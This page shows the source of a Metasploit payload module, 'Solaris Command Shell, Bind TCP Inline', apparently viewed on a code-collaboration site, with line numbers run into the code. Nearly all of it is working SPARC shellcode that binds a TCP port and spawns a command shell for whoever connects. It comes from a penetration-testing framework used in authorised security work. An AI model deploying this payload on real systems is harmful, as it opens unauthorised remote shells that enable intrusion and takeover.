Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 180910include Msf::Payload::Single11include Msf::Payload::Solaris12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Solaris Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'vlad902',19'License' => MSF_LICENSE,20'Platform' => 'solaris',21'Arch' => ARCH_SPARC,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell))24end2526def generate(_opts = {})27port = (datastore['LPORT'] || '0').to_i28payload =29"\x9c\x2b\xa0\x07\x98\x10\x20\x01\x96\x1a\xc0\x0b\x94\x1a\xc0\x0b" +30"\x92\x10\x20\x02\x90\x10\x20\x02\x82\x10\x20\xe6\x91\xd0\x20\x08" +31"\xd0\x23\xbf\xf8" +32Rex::Arch::Sparc.set(0x20000 | port, "l0") +33"\xe0\x23\xbf\xf0\xc0\x23\xbf\xf4\x92\x23\xa0\x10\x94\x10\x20\x10" +34"\x82\x10\x20\xe8\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x10\x20\x01" +35"\x82\x10\x20\xe9\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x1a\x40\x09" +36"\x94\x12\x40\x09\x82\x10\x20\xea\x91\xd0\x20\x08\xd0\x23\xbf\xf8" +37"\x94\x10\x20\x03\x92\x10\x20\x09\x94\xa2\xa0\x01\x82\x10\x20\x3e" +38"\x91\xd0\x20\x08\x12\xbf\xff\xfc\xd0\x03\xbf\xf8\x94\x1a\xc0\x0b" +39"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10" +40"\x92\x23\xa0\x08\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc" +41"\x82\x10\x20\x3b\x91\xd0\x20\x08"42end43end444546